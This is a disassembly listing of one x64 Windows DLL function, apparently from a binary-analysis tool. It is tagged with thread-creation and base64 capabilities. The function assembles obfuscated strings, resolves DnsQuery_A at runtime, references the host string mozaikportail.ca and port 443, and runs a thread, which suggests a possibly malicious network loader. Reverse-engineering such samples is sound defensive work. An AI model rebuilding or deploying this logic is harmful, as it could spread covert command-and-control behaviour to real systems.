Function at 0x1800330d0
Capabilities:
Create thread
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1800a74e0]
xor rax, rsp
mov qword [rbp + 0x550], rax
mov qword [rsp + 0x60], r9
mov rbx, r8
mov qword [rsp + 0x58], rbx
mov dword [rsp + 0x40], edx
mov qword [rbp - 0x40], rcx
movdqa xmm0, xmmword [0x18009fc20]
movdqa xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
movdqa xmm1, xmm0
movdqa xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
movdqa xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
movdqa xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
movdqa xmmword [rbp + 0x240], xmm0
mov byte [rbp + 0x230], 0
xor ecx, ecx
mov qword [rbp + 0x20], rcx
mov word [rbp + 0x28], cx
movdqu xmmword [rbp + 0x3a], xmm0
mov byte [rbp + 0x2a], cl
mov qword [rbp - 0x10], rcx
mov word [rbp - 8], cx
movdqu xmmword [rbp + 0xa], xmm0
mov byte [rbp - 6], cl
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rcx
movdqa xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rcx
mov qword [rbp + 0x80], rcx
mov ecx, 0x30
call fcn.180085cb4
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x78], rax
xor r11d, r11d
mov qword [rbp + 0x88], r11
xorps xmm2, xmm2
movsd qword [rbp + 0x90], xmm2
mov qword [rbp + 0x98], r11
mov r12d, 1
mov dword [rbp + 0xa0], r12d
mov qword [rbp + 0xa8], r11
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r11
mov qword [rbp + 0xe8], 0xffffffffffffffff
mov dword [rbp + 0xf0], r11d
xor eax, eax
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rax
movdqa xmm0, xmmword [0x18009fc20]
movdqa xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], al
mov word [rbp + 0x160], r11w
mov dword [rbp + 0x164], r11d
mov qword [rbp + 0x168], r11
xorps xmm0, xmm0
movaps xmmword [rbp + 0x170], xmm0
movsd qword [rbp + 0x180], xmm2
mov byte [rbp + 0x188], al
mov qword [rbp + 0x18c], r11
mov eax, dword [rsp + 0x40]
mov edi, eax
lea r14d, [rax - 0x13]
mov ecx, 0x1bb
lea rdx, [0x180020870]
lea r10, [0x180000000]
cmp eax, r14d
jbe 0x1800335c4
lea ebx, [rax - 0x60]
lea edx, [r11 + 0x6c]
mov r8d, 0x6572
lea r9d, [r11 + 0x73]
mov esi, dword [rsp + 0x40]
mov r15, qword [rbp - 0x40]
mov r13, qword [rsp + 0x58]
nop dword [rax]
cmp ebx, 0x53
ja case.0x18003331d.19
movzx eax, byte [r10 + rbx + 0x33fd0]
mov ecx, dword [r10 + rax*4 + 0x33f80]
add rcx, r10
jmp rcx
mov word [rbp + 0x2ea], dx
jmp case.0x18003331d.19
mov byte [rsp + 0x30], 1
jmp case.0x18003331d.19
movzx eax, word [0x180097d33]
mov word [rbp + 0x293], ax
movzx eax, byte [0x180097d35]
mov byte [rbp + 0x295], al
mov byte [rbp + 0x296], 0
jmp case.0x18003331d.19
mov dword [rbp + 0x300], 0x6c006c
mov word [rbp + 0x304], r11w
mov r8d, 3
lea rdx, [rbp + 0x2f0]
lea ecx, [r8 + 0x3a]
call fcn.18004d9b0
mov r15, rax
jmp 0x18003358c
lea rdx, [rbp + 0x250]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x18003369f
mov eax, 0x8000
test word [rbp + 0x256], ax
je 0x18003358c
mov byte [rsp + 0x30], 0
jmp case.0x180033539.5
mov dword [rbp + 0x280], 0x46736e44
mov byte [rbp + reloc.SHELL32.dll_SHChangeNotification_Lock], 0
jmp case.0x18003331d.19
mov eax, dword [0x180097d56]
mov dword [rbp + 0x28e], eax
movzx eax, byte [0x180097d5a]
mov byte [rbp + 0x292], al
mov byte [rbp + 0x293], 0
jmp case.0x18003331d.19
mov word [rbp + reloc.SHELL32.dll_SHChangeNotification_Lock], r8w
jmp case.0x18003331d.19
mov dword [rbp + 0x2d8], 0x6e0064
mov word [rbp + 0x2dc], r9w
jmp case.0x18003331d.19
mov esi, 0x1388
jmp case.0x18003331d.19
xor r8d, r8d
lea edx, [r8 + 0x35]
mov rcx, r13
call fcn.180074260
test al, al
je case.0x180033539.5
mov rcx, qword [r13]
call r15
jmp 0x18003358c
mov byte [rbp + 0x286], 0
mov r8, r12
lea rdx, [0x180097d74]
lea rcx, [rbp + 0x280]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
jmp 0x18003358c
mov dword [rbp + 0x2de], 0x700061
mov dword [rbp + 0x2e2], 0x2e0069
mov dword [rbp + 0x2e6], 0x6c0064
jmp case.0x18003331d.19
mov byte [rbp + 0x288], 0x52
mov eax, dword [0x180097d99]
mov dword [rbp + 0x289], eax
movzx eax, byte [0x180097d9d]
mov byte [rbp + 0x28d], al
jmp case.0x18003331d.19
mov word [rbp + 0x2f6], r11w
mov r8d, 5
lea rdx, [0x180097dba]
lea rcx, [rbp + 0x2f6]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
jmp 0x18003358c
mov eax, dword [0x180097e4a]
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x180097e4e]
mov word [rbp + 0x2f4], ax
jmp case.0x18003331d.19
xor r9d, r9d
lea r8, [0x1800a73d8]
xor edx, edx
mov ecx, 0xdd
call fcn.180071190
test al, al
jne 0x18003354f
xor eax, eax
mov edx, eax
nop dword [rax + rax]
cmp edx, 5
ja case.0x180033539.0
mov eax, edx
lea r8, [0x180000000]
mov ecx, dword [r8 + rax*4 + 0x34024]
add rcx, r8
jmp rcx
mov dword [rsp + 0x30], r12d
inc edx
lea eax, [rdx + 0x85]
cmp eax, 0x8b
jb 0x180033520
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8d, ILClone
lea rdx, str.mozaikportail.ca
lea rcx, [rbp + 0x1a0]
call fcn.18003c070
mov r8, r12
lea rdx, [0x180097e84]
lea rcx, [rbp + 0x1c0]
call fcn.18003c070
lea r10, [0x180000000]
xor r11d, r11d
lea r9d, [r11 + 0x73]
mov r8d, 0x6572
lea edx, [r11 + 0x6c]
dec edi
dec ebx
cmp edi, r14d
ja 0x180033300
mov rbx, r13
mov eax, dword [rsp + 0x40]
mov ecx, 0x1bb
lea rdx, [0x180020870]
mov edi, eax
mov rsi, qword [rsp + 0x50]
mov r15d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x50]
mov r14, qword [rsp + 0x50]
mov r10, qword [rsp + 0x50]
mov qword [rsp + 0x38], r10
imul eax, eax, 0x938
cmp edi, eax
ja case.0x180033539.5
cmp edi, 0xb6eb
ja 0x180033b44
je 0x1800338da
cmp edi, 0x3751
ja 0x1800337b2
je 0x180033793
mov eax, edi
sub eax, 0x63
je 0x180033753
sub eax, 0x14
je 0x180033724
sub eax, 0x14
je 0x18003370a
sub eax, 0x28
je 0x180033714
cmp eax, 0x2d52
jne 0x180033be9
mov word [rsp + 0x48], cx
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x20]
mov edx, 0xc2
lea rcx, [0x1800a7438]
call fcn.180038010
mov eax, 0x1bb
mov word [rsp + 0x48], ax
lea r9, [rsp + 0x48]
lea r8, [0x1800a7458]
lea rdx, [rbp - 0x10]
mov ecx, 0xc1
call fcn.18002cd20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
mov dword [rbp + 0x68], eax
jmp 0x180033be1
mov byte [rsp + 0x30], 1
jmp case.0x180033539.5
mov r8, qword [0x1800a75a8]
mov edx, 0x14e
xor ecx, ecx
call fcn.1800758f0
xor r9d, r9d
mov r8, qword [0x1800a75a8]
mov edx, 0xb3
xor ecx, ecx
call fcn.1800330d0
mov edx, esi
mov rcx, qword [r13]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je case.0x18003331d.10
mov rsi, qword [rsp + 0x50]
mov r15d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x50]
mov r14, qword [rsp + 0x50]
mov r10, qword [rsp + 0x50]
mov qword [rsp + 0x38], r10
mov edi, 0x8b
jmp 0x180033be6
mov qword [rbx], 0xffffffffffffffff
mov dword [rbx + 8], r11d
jmp 0x180033be9
mov word [rbp + 0x2ec], r11w
mov word [rbp + 0x308], r11w
mov r8d, 4
lea rdx, str.dnsapiRealloc
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
jmp 0x180033be1
mov word [rbp + 0x200], cx
lea rdx, [rbp + 0x1e0]
mov ecx, 0xc1
call fcn.18002da20
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x210]
mov ecx, 0x36
call fcn.1800229c0
xor r11d, r11d
mov r13d, r11d
mov r10, qword [rsp + 0x38]
jmp 0x180033be9
mov r8d, 3
lea rdx, [0x180098552]
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
jmp 0x180033be1
cmp edi, 0x5ba7
je 0x180033854
cmp edi, 0x6e2b
je 0x180033838
cmp edi, 0x8949
je 0x1800337f1
cmp edi, 0xa505
jne 0x180033be9
mov dword [rbp + 0x318], 0x6c006c
mov word [rbp + 0x31c], r11w
jmp 0x180033be9
mov eax, dword [0x1800a7480]
mov dword [rsp + 0x48], eax
lea r8, [rsp + 0x48]
mov edx, 0xab
lea rcx, [rsp + 0x70]
call fcn.180023ea0
lea rax, [rsp + 0x70]
mov qword [rbp - 0x30], rax
mov eax, dword [0x1800a7480]
mov dword [rbp - 0x28], eax
mov eax, dword [0x1800a7484]
mov dword [rbp - 0x24], eax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x20], xmm0
jmp 0x180033be1
mov r8, r12
lea rdx, [0x180097e9c]
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
jmp 0x180033be1
xor r8d, r8d
mov edx, 0x101
lea rcx, [rsp + 0x70]
call fcn.18002a2f0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, qword [rbp - 0x80]
je 0x180033891
lea rax, [rbp + 0x20]
mov qword [rdx], rax
mov rdx, qword [rsp + 0x78]
add rdx, 8
mov qword [rsp + 0x78], rdx
jmp 0x1800338a5
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.180014dc0
mov rdx, qword [rsp + 0x78]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
cmp rdx, qword [rbp - 0x80]
je 0x1800338c6
lea rax, [rbp - 0x10]
mov qword [rdx], rax
add qword [rsp + 0x78], 8
jmp 0x180033be1
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.180014dc0
jmp 0x180033be1
mov qword [rsp + 0x28], r11
mov dword [rsp + 0x20], r11d
lea r9, [rbp - 0x20]
lea r8, [0x18002b540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov r15d, 4
test rax, rax
jne 0x180033be1
mov ebx, ILClone
cmp ebx, 0xf
ja case.default.0x180033928
mov eax, ebx
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x3403c]
add rcx, rdx
jmp rcx
mov dword [rbp + 0x2b2], 0x610072
xor r11d, r11d
mov word [rbp + 0x2b6], r11w
jmp 0x180033970
movups xmm0, xmmword [str._Z16convert_int4_rtnDv4_c]
movups xmmword [rbp + 0x320], xmm0
movsd xmm1, qword [0x180097eb8]
movsd qword [rbp + 0x330], xmm1
movzx eax, word [0x180097ec0]
mov word [rbp + 0x338], ax
xor r11d, r11d
dec ebx
lea eax, [rbx + 0xf5]
cmp eax, 0xf4
ja 0x180033910
mov r10, qword [rsp + 0x38]
jmp 0x180033be9
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x340]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
jmp case.default.0x180033928
mov r8d, 5
lea rdx, [0x180097ef6]
lea rcx, [rbp + 0x2a2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor r11d, r11d
mov word [rbp + 0x2ac], r11w
jmp 0x180033970
mov eax, 0x6b
mov word [rbp + 0x2ac], ax
jmp case.default.0x180033928
mov r8d, 3
lea rdx, [0x180097f5c]
lea rcx, [rbp + 0x298]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
mov dword [rbp + 0x29e], 0x650072
xor r11d, r11d
mov word [rbp + 0x2a2], r11w
jmp 0x180033970
mov dword [rbp + 0x2b6], 0x6d
jmp case.default.0x180033928
lea rcx, [rbp + 0x320]
call qword [sym.imp.SHLWAPI.dll_UrlGetLocationA]
jmp case.default.0x180033928
mov r8, r12
lea rdx, [0x180098026]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
jmp case.default.0x180033928
mov r8d, 2
lea rdx, [0x180098098]
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor r11d, r11d
mov word [rbp + 0x2bc], r11w
jmp 0x180033970
xor r11d, r11d
mov word [rbp + 0x2d2], r11w
jmp 0x180033970
mov r8, r12
lea rdx, [0x18009816e]
lea rcx, [rbp + 0x298]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
mov r8, r12
lea rdx, [0x1800981e4]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor r11d, r11d
mov word [rbp + 0x2b2], r11w
jmp 0x180033970
xor eax, eax
mov word [rbp + 0x2c2], ax
lea r8d, [rax + 3]
lea rdx, [0x180098330]
lea rcx, [rbp + 0x2c2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor eax, eax
mov word [rbp + 0x2c8], ax
mov r8, r15
lea rdx, [0x1800984a6]
lea rcx, [rbp + 0x298]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
jmp case.default.0x180033928
mov r8d, 2
lea rdx, [0x1800984e0]
lea rcx, [rbp + 0x298]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
mov eax, 0x6f
mov word [rbp + 0x2c0], ax
jmp case.default.0x180033928
xor r11d, r11d
mov word [rbp + 0x2ae], r11w
jmp 0x180033970
cmp edi, 0x13fd1
ja 0x180033cae
je 0x180033c66
cmp edi, 0xdbdf
je 0x180033c1e
cmp edi, 0xe48d
je 0x180033c15
cmp edi, 0x1122f
je 0x180033c0a
cmp edi, 0x112b9
jne 0x180033be9
mov edx, r12d
mov qword [rsp + 0x28], r11
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x40]
mov r8d, 0x68
mov rcx, rbx
call r10
test eax, eax
jne 0x1800333b6
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x180033be1
cmp word [rax + 0x10], 1
je 0x180033bc7
mov rax, qword [rax]
test rax, rax
jne 0x180033bb6
jmp 0x180033be1
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
mov edi, 0x14993
mov edx, r12d
mov rcx, qword [rsp + 0x50]
call r14
mov r10, qword [rsp + 0x38]
xor r11d, r11d
imul eax, dword [rsp + 0x40], 0x76
add edi, eax
mov rbx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x40]
mov ecx, 0x1bb
lea rdx, [0x180020870]
jmp 0x1800335e4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180033be1
mov dword [rbp + 0x50], 0x1c
jmp 0x180033be9
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x2d8]
mov ecx, 0x3d
call fcn.18004d9b0
mov r14, rax
lea r8, str.DnsQuery_A
lea rdx, [rbp + 0x308]
mov ecx, 0x3d
call fcn.18004d9b0
mov r10, rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov dword [rax], 0xffffffff
jmp 0x180033be6
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], r11
xor r9d, r9d
mov r8d, 0xd9
lea rdx, [rsp + 0x48]
xor ecx, ecx
call fcn.180036300
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [0x1800a73d0]
xor edx, edx
lea ecx, [rdx + 0x23]
call fcn.180022b00
jmp 0x180033be1
cmp edi, 0x14993
je 0x180033bd1
cmp edi, 0x16d73
je 0x180033cd7
cmp edi, 0x1806d
je 0x180033d14
cmp edi, 0x19b15
je case.0x180033539.5
jmp 0x180033be9
xor edx, edx
lea r8d, [rdx + 0x37]
lea rcx, [rbp + 0x70]
call fcn.18003c900
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov edx, r15d
mov rcx, r13
call sub.IMM32.dll_ImmGetProperty
xor r11d, r11d
mov dword [rsp + 0x30], r11d
mov r10, qword [rsp + 0x38]
jmp 0x180033be9
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0xffffffff
setne byte [rsp + 0x30]
mov r12d, dword [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.180016e40
mov rbx, qword [rbp + 0xd0]
test rbx, rbx
je 0x180033d9b
mov rdi, qword [rbp + 0xd8]
cmp rbx, rdi
je 0x180033d68
nop word [rax + rax]
mov rcx, rbx
call fcn.180034630
add rbx, 0x20
cmp rbx, rdi
jne 0x180033d50
mov rbx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
sub r8, rbx
sar r8, 5
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1800454f0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xd0], xmm0
xor esi, esi
mov qword [rbp + 0xe0], rsi
jmp 0x180033d9d
xor esi, esi
mov rdx, qword [rbp + 0xb8]
test rdx, rdx
je 0x180033dd5
mov r8, qword [rbp + 0xc8]
sub r8, rdx
sar r8, 4
lea rcx, [rbp + 0xb8]
call fcn.180045450
mov qword [rbp + 0xb8], rsi
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0x78]
call fcn.180016d70
nop
mov rbx, qword [rbp - 0x78]
test rbx, rbx
je 0x180033e70
mov rdi, qword [rbp - 0x70]
cmp rbx, rdi
je 0x180033e0a
mov rcx, rbx
call fcn.180016680
add rbx, 0x28
cmp rbx, rdi
jne 0x180033df5
mov rbx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x68]
sub rcx, rbx
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x180033e5c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033e5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180085cf0
mov qword [rbp - 0x78], rsi
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x180033e9c
mov r8, qword [rbp - 0x80]
sub r8, rdx
sar r8, 3
lea rcx, [rsp + 0x70]
call fcn.180045400
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov rdx, qword [rbp + 0x12]
cmp rdx, 0x10
jb 0x180033eda
inc rdx
mov rcx, qword [rbp - 6]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033ed5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033ed5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180085cf0
movdqa xmm0, xmmword [0x18009fc20]
movdqu xmmword [rbp + 0xa], xmm0
mov byte [rbp - 6], 0
mov rdx, qword [rbp + 0x42]
cmp rdx, 0x10
jb 0x180033f29
inc rdx
mov rcx, qword [rbp + 0x2a]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033f24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033f24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180085cf0
movdqa xmm0, xmmword [0x18009fc20]
movdqu xmmword [rbp + 0x3a], xmm0
mov byte [rbp + 0x2a], 0
lea rcx, [rbp + 0x210]
call fcn.1800169e0
nop
lea rcx, [rbp + 0x1a0]
call fcn.180016a90
mov eax, r12d
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.1800864a0
mov rbx, qword [rsp + 0x6a8]
add rsp, 0x660
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret